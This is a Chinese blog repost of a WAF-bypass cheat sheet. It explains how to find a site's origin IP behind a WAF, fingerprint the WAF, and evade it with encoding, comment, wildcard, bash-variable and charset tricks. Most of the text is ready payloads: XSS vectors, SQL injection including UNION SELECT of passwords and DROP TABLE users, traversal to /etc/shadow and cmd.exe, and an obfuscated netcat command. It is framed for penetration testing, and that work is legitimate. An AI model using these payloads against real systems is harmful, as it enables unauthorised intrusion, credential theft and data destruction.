如何Bypass WAF备忘录

2024-08-23 17:04
文章标签 bypass 备忘录 waf

本文主要是介绍如何Bypass WAF备忘录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

#0x0、什么是WAF?

Web 应用程序防火墙 (WAF) 是一组监视器和过滤器,旨在检测和阻止对 Web 应用程序的网络攻击。 WAF 工作在 OSI 模型的应用层。

Web 应用程序防火墙作为一个安全工具、它实时决定网络请求是通过还是拒绝访问。通常,它与解决 HTTP/HTTPS 以外协议问题的组件、事件控制系统和反欺诈服务等其他元素一起包含在 Web 应用程序的整体安全系统中。

在进行渗透测试时,首先我们需要识别真实IP地址,识别WAF厂商,并尝试绕过WAF。目标防御被突破后,最精彩的部分就开始了。那些隐藏在 WAF 后面的所有内容都为进一步的渗透测试提供了空间。

使用WAF的原因:

  • 纵深防御
  • 检测并阻止针对易受攻击的 Web 应用程序的攻击
  • 防止各种漏洞
  • 保护公司的网络环境

常见WAF厂商:

#0x1、如何识别WAF厂商和查找真实IP地址

#真实IP发现

1、使用shodan.io或者censys.io(国内可用fofa或者zoomeyes)

2、查找 SPF 和 TXT 记录

SPF 和 TXT 记录的 IP 地址可能缺少 CloudFlare 的保护。

3、使用securitytrails.com 查找历史解析记录

#如何检测WAF

  • WAF 使用标准端口 :80、443、8000、8008、8080 和 8088 端口。
  • WAF 在请求中设置自己的 Cookie。
  • WAF 将自己与单独的HTTP头相关联。
  • WAF 将自身暴露在 Server HTTP头中。
  • WAF 在HTTP响应内容中暴露自己。
  • WAF 在恶意请求时使用唯一的响应代码进行回复。
  • 从浏览器发送标准 GET 请求,拦截并记录响应标头(特定Cookie)。
  • 从命令行(例如 cURL)发送请求,然后检查响应内容和标头。
  • 向随机开放端口发送 GET 请求并检查可能暴露 WAF 身份的banner。
  • 尝试发送一些SQL注入Payloads,比如or 1=1 --到登录表单或者找回密码的地方。
  • 尝试在某些输入字段中使用诸如<script>confirm()</script>之类 XSS Payloads。
  • 尝试将 ../../../etc/passwd 添加到 URL 地址中的随机参数中。
  • 在任何随机参数的 URL 末尾添加一些Payloads,比如OR SLEEP(5) OR。
  • 使用 HTTP/0.9 等过时协议发送 GET 请求(HTTP/0.9 不支持 POST 类型查询)。
  • 根据不同类型的交互检查服务器标头。
  • 将原始制作的 FIN&RST 数据包发送到服务器并识别响应。
  • Side-Channel Attacks – 检查请求和响应内容的计时行为。

大多数黑客使用自动化工具来加快进程,以绕过他们感兴趣资源上的WAFs。我们整理了一些黑客常用的工具。使用这些工具只是检查对黑客开放内容的第一步。一定要定期进行渗透测试,因为WAFs每天都在更新规则,但黑客也没有闲着,他们每天都在寻找绕过WAF的新方法。

#检查和绕过 WAF 的工具:

w3af — Web 应用程序攻击和审计框架

wafw00f — 识别Web 应用程序防火墙指纹

BypassWAF – 通过滥用 DNS 历史绕过防火墙。此工具将搜索旧的 DNS A 记录并检查服务器是否回复该域。

CloudFail – 是一种战术侦察工具,它试图找到 Cloudflare WAF 背后的原始 IP 地址。

#0x2、Bypass WAF的技术

#1、大小写切换技术

组合大小写字符以创建有效的攻击载荷。

基本请求:

<script>confirm()</script>

绕过技术:

<ScrIpT>confirm()</sCRiPt>

基本请求:

SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'

绕过技术:

sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'

URL例子:

http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

#2、URL编码技术

使用 % 编码/URL 编码对正常有效负载进行编码。

你可以使用 Burp。它有一个编码/解码工具。

被 WAF 阻止:

<Svg/x=">"/OnLoAD=confirm()//

绕过技术:

%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

被 WAF 阻止:

UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

绕过技术:

UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

网址中的示例:

https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

#3、Unicode 技术

Unicode 编码中的 ASCII 字符为我们提供了绕过 WAF 的绝佳变体。

编码整个或部分有效载荷以获得结果。

基本请求:

<marquee onstart=prompt()>

混淆:

<marquee onstart=\u0070r\u06f\u006dpt()>

被 WAF 阻止:

/?redir=http://google.com

绕过技术:

/?redir=http://google。com (Unicode 替代品)

被 WAF 阻止:

<marquee loop=1 onfinish=alert()>x

绕过技术:

<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

基本请求:

../../etc/shadow

混淆:

%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“资料领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频

#4、HTML 实体编码技术

WebApp 将特殊字符编码为 HTML。对它们进行相应的编码和渲染。

具有 HTML 编码数字和通用的基本绕过案例。

基本请求:

"><img src=x οnerrοr=confirm()>

编码Payload:

"><img src=x onerror=confirm()> 

编码Payload:

"><img src=x onerror=confirm()> 

#5、混合编码技术

此类规则通常倾向于过滤掉特定类型的编码。

混合编码Payload可以绕过此类过滤器。

换行符和制表符,并进一步增加了混淆。

混淆Payload:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

#6、利用注释符技术

注释混淆了标准的有效Payload。

不同的Payloads有不同的混淆方式。

被 WAF 阻止:

<script>confirm()</script>

绕过技术:

<!--><script>confirm/**/()/**/</script>

被 WAF 阻止:

/?id=1+union+select+1,2--

绕过技术:

/?id=1+un/**/ion+sel/**/ect+1,2--

在攻击字符串的中间插入注释。例如,/*!SELECT*/可能会被 WAF 忽略,但会传递给目标应用程序并由 Mysql 数据库处理。

URL示例:

index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4   'union%a0select pass from users#index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

#7、双编码技术

Web 应用程序防火墙过滤器通常会对字符进行编码以保护 Web 应用程序。

使用双重编码可以绕过开发不好的过滤器(没有递归过滤器)。

基础请求:

http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

混淆:

http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

基础请求:

<script>confirm()</script>

混淆:

%253Cscript%253Econfirm()%253C%252Fscript%253E

#8、通配符混淆技术

各种命令行实用程序使用全局模式来处理多个文件。

我们可以更改它们以运行系统命令。

基础请求:

/bin/cat /etc/passwd

混淆Payload:

/???/??t /???/??ss??

使用的字符:

/ ? t s

基础请求:

/bin/nc 127.0.0.1 443

混淆Payload:

/???/n? 2130706433 443

使用的字符:

/ ? n [0-9]

动态Payload生成技术:

编程语言有不同的连接模式和语法。

这使我们能够生成可以绕过多种过滤器和规则的有效Payloads。

基础请求:

<script>confirm()</script>

混淆Payload:

<script>eval('con'+'fi'+'rm()')</script>

基础请求:

/bin/cat /etc/shadow

混淆Payload:

/bi'n'''/c''at' /e'tc'/sh''ad'ow

Bash 允许执行路径连接。

基础请求:

<iframe/onload='this["src"]="javascript:confirm()"';>

混淆Payload:

<iframe/onload='this["src"]="jav"+"as	
cr"+"ipt:con"+"fir"+"m()"';>

#9、垃圾字符技术

简单的有效负载很容易被 WAF 过滤掉。

添加一些垃圾字符有助于避免检测(仅限特定情况)。

这种技术通常有助于欺骗基于正则表达式的防火墙。

基础请求:

<script>confirm()</script>

混淆Payload:

<script>+-+-1-+-+confirm()</script>

基础请求:

<BODY onload=confirm()>

混淆Payload:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>

基础请求:

<a href=javascript;alert()>ClickMe

绕过技术:

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe

#10、换行技术

许多基于正则表达式过滤的WAF有效地阻止了许多尝试。

换行符技术(CR和LF)可以破坏防火墙的正则表达式并绕过其他东西。

基础请求:

<iframe src=javascript:confirm(hacker)">

混淆Payload:

<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">

#11、未初始化变量技术

使用未初始化的bash变量可以规避基于错误正则表达式的过滤器。

这样的值等于NULL,并且作用类似于空字符串。

Bash和perl允许这样的解释。

第一级混淆:常规

基础请求:

/bin/cat /etc/shadow

混淆Payload:

/bin/cat$u /etc/shadow$u

二级混淆:基于位置

基础请求:

/bin/cat /etc/shadow

混淆Payload:

$u/bin$u/cat$u $u/etc$u/shadow$u

第三级混淆:随机字符

基础请求:

/bin/cat /etc/shadow

混淆Payload:

$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

找到一个非常nice的入门课程,复制链接即可报名:

https://mp.weixin.qq.com/s/1gI0LnWdYbyArC8v58Yikw

#12、制表符和换行技术

制表符通常有助于规避防火墙,尤其是基于正则表达式的。

当正则表达式需要空格而不是制表符时,制表符可以帮助破坏 WAF 正则表达式。

基础请求:

<IMG SRC="javascript:confirm();">

绕过技术:

<IMG SRC=" javascript:confirm();">

变形方式:

<IMG SRC=" jav ascri pt:confirm ();">

基础请求:

http://test.com/test?id=1 union select 1,2,3

绕过技术:

http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

基础请求:

<iframe src=javascript:confirm()></iframe>

混淆Payload:

<iframe src=j	a	v	a	s	c	r	i	p	t	:c	o	n	f	i	r	m	%28	%29></iframe>

#13、令牌破坏技术

对令牌的攻击试图用令牌破坏器打破将请求拆分为令牌的逻辑。

令牌破坏符是允许影响字符串元素与某个令牌之间的对应关系的符号。

我们的请求在使用令牌破坏器时必须保持有效。

案例研究:令牌器的未知令牌

我们的Payload:

?id=‘-sqlite_version() UNION SELECT passwords FROM users --

案例研究:解析器的未知上下文(请注意无上下文的括号)

第一个Payload:

?id=12);DROP TABLE users --

第二个Payload:

?id=133) INTO OUTFILE ‘xxx’ --

#14、其他格式的混淆技术

许多 Web 应用程序支持不同的编码类型并且可以解释编码。

我们总是需要将有效负载混淆为WAF不支持的格式,但服务器可以走私我们的有效负载。

IIS 案例:

  • IIS 6、7.5、8 和 10 允许 IBM037 字符解释。
  • 将编码参数与查询一起发送。

原始请求:

POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--

URL 编码的混淆请求:

POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A4%A2%85%99%A2%60%60

#0x3、总结

让我们总结一下上面写的一切。都是需要跳出框框思考。尝试不同的编码技术,其中一些会成功。不要偷懒不检查DNS记录,因为只有这样,你才能在bug赏金狩猎中取得成功。

不要忘记,任何保护都可以在Web资源中绕过,WAF也不是解决所有问题的灵丹妙药。黑客们不眠不休,总是寻找新的技术来攻击你的资源并牟利。通过专家的定期渗透测试,以及参与漏洞赏金计划,可以帮助你避免许多问题。

#0x4、说明

本文由合天网安实验室在原文上编译,如需转载请注明来源。

原文地址:
https://hacken.io/researches-and-investigations/how-to-bypass-waf-hackenproof-cheat-sheet

这篇关于如何Bypass WAF备忘录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1099972

相关文章

java设计模式(行为型模式:状态模式、观察者模式、中介者模式、迭代器模式、访问者模式、备忘录模式、解释器模式)

6,行为型模式 6.5 状态模式 6.5.1 概述 【例】通过按钮来控制一个电梯的状态,一个电梯有开门状态,关门状态,停止状态,运行状态。每一种状态改变,都有可能要根据其他状态来更新处理。例如,如果电梯门现在处于运行时状态,就不能进行开门操作,而如果电梯门是停止状态,就可以执行开门操作。 类图如下: 代码如下: public interface ILift {//电梯的4个状态//

3个恢复方法详解:iPhone手机快速找回备忘录

当我们在工作或者是学习时,总会有一些灵光乍现的好想法,我们通常会将这些想法记录在iPhone手机备忘录中,以便随时查看。但是,如果出现不慎删除备忘录的情况,iPhone该如何找回备忘录呢?不用担心,本文专门为大家整理了3个方法,可以帮助大家快速找回那些不慎删除的备忘录。下文将展开3个恢复方法的详细介绍。 方法一:在【最近删除】里找回备忘录 苹果手机备忘录误删怎么恢复?苹果手机的备忘录如

html备忘录

备忘录  网站收藏数据: 网站收藏.js const webLinks = [{ title: "智能翻译", src: "https://fanyi.baidu.com" },{ title: "哔哩哔哩", src: "https://www.bilibili.com" },{ title: "百度一下,你就知道", src: "https://www.baidu.com

Java设计模式【备忘录模式】-行为型

1. 介绍 备忘录模式(Memento Pattern) 是一种行为型设计模式,允许在不破坏封装的前提下,捕获并保存一个对象的内部状态,然后可以在以后将其恢复到原先保存的状态。备忘录模式的核心思想是记录和恢复对象的状态,通常用于“撤销(undo)”操作中。 备忘录模式涉及以下角色: 发起人(Originator):负责创建备忘录对象来存储其内部状态,并能够从备忘录对象中恢复其状态。备忘录(M

云WAF在安全审计和合规性证明方面起到什么作用?

云WAF在安全审计和合规性证明方面起到什么作用? 云WAF的基本功能 云WAF(Cloud Web Application Firewall)是一种部署在云端的网络安全解决方案,它能够为Web应用程序提供强有力的保护,通过检测和阻止恶意流量、攻击和漏洞,确保Web应用程序的安全性和可用性。云WAF具备访问控制、网络安全审计、漏洞检测、应用安全保护、数据安全监控和审计等功能,这些功能共同构成了一

cocotb备忘录

按位给和int int后接的值,建议在32之内。大于32位建议按位给,因为int强制类型转换有范围 第二,低位给到低位,高位给到高位 # 将src_ip和dst_ip给到phv中,TMD以后只要报错在这个范围里面,TMD直接马上用手算一遍能不能对得上,要不就是TMD大傻逼# 一位一位给,必须要保证,低位给低位,高位给高位for j in range(IPV6_SRC_IP_W

设计模式 18 备忘录模式

设计模式 18 创建型模式(5):工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式结构型模式(7):适配器模式、桥接模式、组合模式、装饰者模式、外观模式、享元模式、代理模式行为型模式(11):责任链模式、命令模式、解释器模式、迭代器模式、中介者模式、备忘录模式、观察者模式、状态模式、策略模式、模板方法模式、访问者模式 文章目录 设计模式 18备忘录模式(Memento Patt

华为云征文|基于Flexus云服务器X实例之安装长亭雷池waf教程

🔴大家好,我是雄雄,欢迎关注微信公众号:雄雄的小课堂 先看这里 写在前面何为长亭雷池waf安装社区版雷池雷池环境要求查看华为云Flexus云服务器X实例的配置一条命令安装雷池waf检查查看是否安装成功 雷池使用登录雷池配置站点 写在前面 今天,我们要讲的是:在华为云Flexus云服务器X实例中安装个开源的waf,为我们的站点保驾护航!虽然我们的站点不够大,还不足以

iPhone备忘录不小心删除了怎么办?

在日常使用iPhone的过程中,备忘录作为我们记录重要信息、灵感闪现和日常琐事的小帮手,其重要性不言而喻。然而,有时候因为操作失误或是不小心点击,我们可能会将珍贵的备忘录内容删除,这无疑会让人感到焦虑与不安。但请放心,即使iPhone备忘录不小心被删除了,也并非没有挽回的余地。今天,我们就来探讨几种有效的恢复方法,帮助你找回那些遗失的记忆。 一、利用“最近删除”文件夹 iPhone的备忘录应用

苹果备忘录误删了怎么恢复?靠谱攻略在这里,一文解决难题!

在使用苹果手机时,备忘录作为我们记录重要信息、待办事项和灵感闪现的得力助手,一旦不慎误删,往往令我们陷入困扰。苹果备忘录误删了怎么恢复?特别是面对没有及时备份或备份已过期的情况,恢复工作似乎变得更加棘手。 但别担心,本文将为你提供一份详尽而靠谱的攻略,助你轻松找回那些珍贵的备忘录。 苹果备忘录常见问题分析 我们在使用苹果备忘录时确实会遇到一些问题,有时会让我们不知所措。下面小编给大家